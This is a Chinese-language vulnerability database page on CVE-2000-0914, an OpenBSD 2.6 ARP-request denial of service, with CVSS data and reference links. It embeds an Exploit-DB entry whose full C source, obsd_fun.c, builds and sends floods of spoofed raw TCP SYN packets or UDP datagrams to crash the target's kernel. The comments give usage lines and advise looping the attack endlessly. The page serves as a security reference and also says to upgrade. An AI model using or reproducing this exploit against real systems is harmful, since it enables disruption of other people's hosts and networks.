CVE-2000-0914
CVSS5.0
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:10
NMCOE    

[原文]OpenBSD 2.6 and earlier allows remote attackers to cause a denial of service by flooding the server with ARP requests.


[CNNVD]OpenBSD漏洞(CNNVD-200012-120)

        OpenBSD 2.6及其早期版本存在漏洞。远程攻击者通过使用ARP请求淹没服务器导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.4OpenBSD 2.4
cpe:/o:openbsd:openbsd:2.3OpenBSD 2.3
cpe:/o:openbsd:openbsd:2.0OpenBSD 2.0
cpe:/o:openbsd:openbsd:2.1OpenBSD 2.1
cpe:/o:openbsd:openbsd:2.5OpenBSD 2.5
cpe:/o:openbsd:openbsd:2.6OpenBSD 2.6
cpe:/o:openbsd:openbsd:2.2OpenBSD 2.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0914
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0914
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-120
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5340.php
(VENDOR_ADVISORY)  XF  bsd-arp-request-dos
http://www.securityfocus.com/bid/1759
(VENDOR_ADVISORY)  BID  1759
http://archives.neohapsis.com/archives/bugtraq/2000-10/0078.html
(VENDOR_ADVISORY)  BUGTRAQ  20001005 obsd_fun.c
http://www.osvdb.org/1592
(UNKNOWN)  OSVDB  1592

- 漏洞信息

OpenBSD漏洞
中危 未知
2000-12-19 00:00:00 2005-05-02 00:00:00
远程  
        OpenBSD 2.6及其早期版本存在漏洞。远程攻击者通过使用ARP请求淹没服务器导致服务拒绝。

- 公告与补丁

        

- 漏洞信息 (20271)

OpenBSD 2.x Pending ARP Request Remote DoS Vulnerability (EDBID:20271)
openbsd dos
2000-10-05 Verified
0 skyper
N/A [点击下载]
source: http://www.securityfocus.com/bid/1759/info

OpenBSD is vulnerable to a remotely exploitable denial of service condition. The problem seems to be a lack of limits on the storage of pending arp requests, and a failure to handle the condition of too many. If an attacker somehow causes a victim machine to send out too many arp requests, it can cause a kernel panic and the target system to halt.

If an OpenBSD machine is on a network with a large address space (much more than a class C) an attacker can send it spoofed packets with addresses of hosts within its network. The victim host would then send out arp requests to find the MAC address for each host. If a sufficient number of arp requests are sent out, the kernel will panic with the message:

"out of space in kmem_map"

and freeze. 

/*
 * [local/remote] kernel-panic DoS against openBSD 2.6
 * 20000802, anonymous@segfault.net
 *
 * works on local lan or any host which can be reached through
 * gateways with rp_filter = 0 [default on most linux routers and most other
 * OS'es. take a look at /proc/sys/net/ipv4/conf/default/rp_filter].
 *
 * panic: malloc: out of space in kmem_map,
 * Stopped at: _debugger+0x4:   ieave
 *
 * this is nothing special. The kernel runs out of memory
 * and panics.
 *
 * ./obsd_fun <target ip> <network> <count>
 * target_ip is the ...wtf..you know what it is.
 * network is the beginning of the network of the target_ip.
 * count is the number of hosts we spoof from. 
 *
 * How does it work ?:
 * While coding some scanning tool i saw that linux was unable
 * to handle 1000 arp-request/sec [arp-table overflow].
 * I thought obsd could be able to handle 1k arp-request/sec..but
 * i was wrong. 
 *
 * First DoS was a local one. All I did was sent
 * packets to thousend of hosts on the same network.
 * [it doesnt matter if the hosts exist or not]
 * The Obsd kernel paniced after a few seconds.
 * I leave it as an exercise for the reader to reengineer the local DoS.
 * [addon after a 'bratwurscht'-break: i took the exercise myself.]
 *
 * Remote DoS:
 * We send thousends of spoofed packets to the target machiene.
 * The target machiene tries to answer these packets [with
 * a tcp-syn, tcp-rst ,icmp-port-unreachable or whatever].
 *
 * For that it needs the mac-address of the origin host. 
 * If this host does not exist the Obsd box will never get
 * an answer and w8 for the arp-reply until it timesout.
 * Thats it. We simply overflow the arp-table/memory.
 *
 * I use tcp-packets in this example. It also works with udp or icmp.
 *
 * How to use it?:
 * gcc -Wall -o obsd_fun obsd_fun.c
 * If the host-ip is 10.23.13.37 on a 10.23/16 network:
 * leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
 *
 * A count of 20.000 works fine here. But my box only has 64 MB ram.
 * If this doesnt work try bigger values.
 * If this still does not work...try an endless loop:
 * while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
 * [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
 * a /16-network with 128 MB ram and a count of 65334...but after
 * 6-loops the box paniced]
 *
 * Local DoS:
 * Works like the remote one. But we use udp this time:
 * myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
 * works fine on my 64 MB obsd 2.6 box.
 *
 *
 * Oh..i forgott something:
 * Basicly i dont like DoS-attacks or really lame (d)dos attacks.
 * It SUCKs. Thats really not what hacking is about.
 *
 * Greetings: yum. this is a DoS. to lame for greetings.
 *
 * 
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define ETH_SIZE        14
#define IP_SIZE         20
#define TCP_SIZE        20

#define int_ntoa(x)   inet_ntoa(*((struct in_addr *)&(x)))

/*
 *  Checksum stuff
 */
#define CKSUM_CARRY(x) \
    (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

/*
 * leet net tuple
 */
struct net_tuple
{
  uint32_t src;
  unsigned short int sport;
  uint32_t dst;
  unsigned short int dport;
};

/*
 * pseudo TCP header for calculating the chksum
 */
struct _fakehead {
    uint32_t saddr;
    uint32_t daddr;
    uint8_t  zero;
    uint8_t protocol;
    uint16_t tot_len;
};

unsigned char packet[128];

/* 
 * calc. checksum WITH carry flag.
 * call cksum = CKSUM_CARRY(in_cksum(blah));
 */
int
in_cksum(unsigned short *addr, int len)
{
   int                  nleft = len;
   int                  sum = 0;
   u_short              *w = addr;
   u_short              answer = 0;
   
   while (nleft > 1)
   {
      sum += *w++;
      nleft -= 2;
   }
   
   if (nleft == 1)      /* padding */
   {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }
   
  return(sum);
}


void
add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
{
   struct tcphdr                tcp;
   struct _fakehead             fakehead;
   int sum;

   memset(&tcp, 0, sizeof(tcp));
   memset(&fakehead, 0, sizeof(fakehead));

   tcp.th_dport = nt->dport;
   tcp.th_sport = nt->sport;
   fakehead.saddr = nt->src;
 fakehead.daddr = nt->dst;
   fakehead.zero = 0,
   fakehead.protocol = 6;
   fakehead.tot_len = htons(TCP_SIZE);
   sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
   tcp.th_off = TCP_SIZE >> 2;
   tcp.th_seq = 31337;                         /* ###fixme */
   tcp.th_flags |= flags;                      /* ADD the flags */
   tcp.th_win = htons(0x3fff);
   sum += in_cksum((u_short *)&tcp, sizeof(tcp));
   tcp.th_sum = CKSUM_CARRY(sum);
   memcpy(pkt, &tcp, sizeof(tcp));
}



/*
 * add's ipv4-header of 20 bytes without any options
 * - IPPROTO_TCP and 40 bytes total length
 */
void
add_iphdr(unsigned char *pkt, struct net_tuple *nt)
{
  struct ip                     ip;

  memset(&ip, 0, 20); 
  ip.ip_hl = sizeof(ip) >> 2;
  ip.ip_v = 4;
  /*ip->tos = 0;*/
  ip.ip_len = htons(IP_SIZE + TCP_SIZE);  /* htons ? */
  /*ip->id = 0;                  done by kernel */
  /*ip->frag_off = 0;*/
  ip.ip_ttl = 0xff;
  ip.ip_p = IPPROTO_TCP;        
  /*.ip->check = 0;      done by kernel */
  ip.ip_src.s_addr = nt->src;
  ip.ip_dst.s_addr = nt->dst;
  memcpy(pkt, &ip, sizeof(ip));
}


/*
 * send out ipv4-packet
 * with data 'pkt' of length 'len'
 * returns the number of characters sent, or -1 if an error occured
 */
int
send_ipv4(int sox, u_char  *pkt, size_t len)
{
   struct sockaddr_in   to;

   to.sin_family = AF_INET;
   memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));

   return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
}

/*
 * for a local DoS.
 * we use udp this time [much easier, much faster, but only local:)]
 */
void
local_dos(char *argv[])
{
  struct sockaddr_in saddr;
  int c=0;
  int sox;
  int iprunner;

  if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }

  memset(&saddr, 0, sizeof(saddr));
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons(31337);
  iprunner = ntohl(inet_addr(argv[1]));

  while (c++< atoi(argv[2]))
  {
    saddr.sin_addr.s_addr = htonl(iprunner++);
    sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
  }

  printf("not working ?! wtf ! mailme asap anonymous@segfault.net\n");
  exit(0);

}


void
usage(int code)
{
  printf("\n4local  DoS:\n");
  printf("obsd_fun <network> <count>\n");
  printf("    obsd_fun 10.23.0.1 32000\n\n");
  printf("4 remote DoS:\n");
  printf("obsd_fun <target_ip> <network> <count>\n");
  printf("    obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
  exit(code);
}

int
main(int argc, char *argv[])
{
  struct net_tuple nt;
  int sox;
  int on = 1;
  unsigned long iprunner;
  int c=0;

  if (argc < 3)
     usage(0);
  if (argc == 3)
     local_dos(argv);

  memset(&nt, 0, sizeof(nt));

  if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }
  if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
  {
     fprintf(stderr, "error setsockopt\n");
     exit(1);
  }

  printf("nuking %s on network %s with %d ip's\n",
                                         argv[1], argv[2], atoi(argv[3]));

  nt.dport = htons(31337);
  nt.sport = htons(31338);
  if ( (nt.dst = inet_addr(argv[1])) == -1)
  {
    fprintf(stderr, "nah. use IP insteat of hostname.\n");
    exit(0);
  }
  iprunner = ntohl(inet_addr(argv[2]));
  memset(packet, 0 , sizeof(packet));

  while (c++< atoi(argv[3]))
  {
    nt.src = htonl(iprunner++);
    add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
    add_iphdr(packet + ETH_SIZE, &nt);
    send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
  }

 printf("done. Try an endless loop if box is still alive.\n");
 return(0);
} 
		

- 漏洞信息

1592
OpenBSD Pending ARP Request Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

OpenBSD contains a flaw that may allow a remote denial of service. The issue is triggered when an attacker sends a large number of spoofed packets for hosts within the target's subnet, and will result in loss of availability for the platform.

- 时间线

2000-10-05 2000-10-05
Unknow Unknow

- 解决方案

Upgrade to version 2.7 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站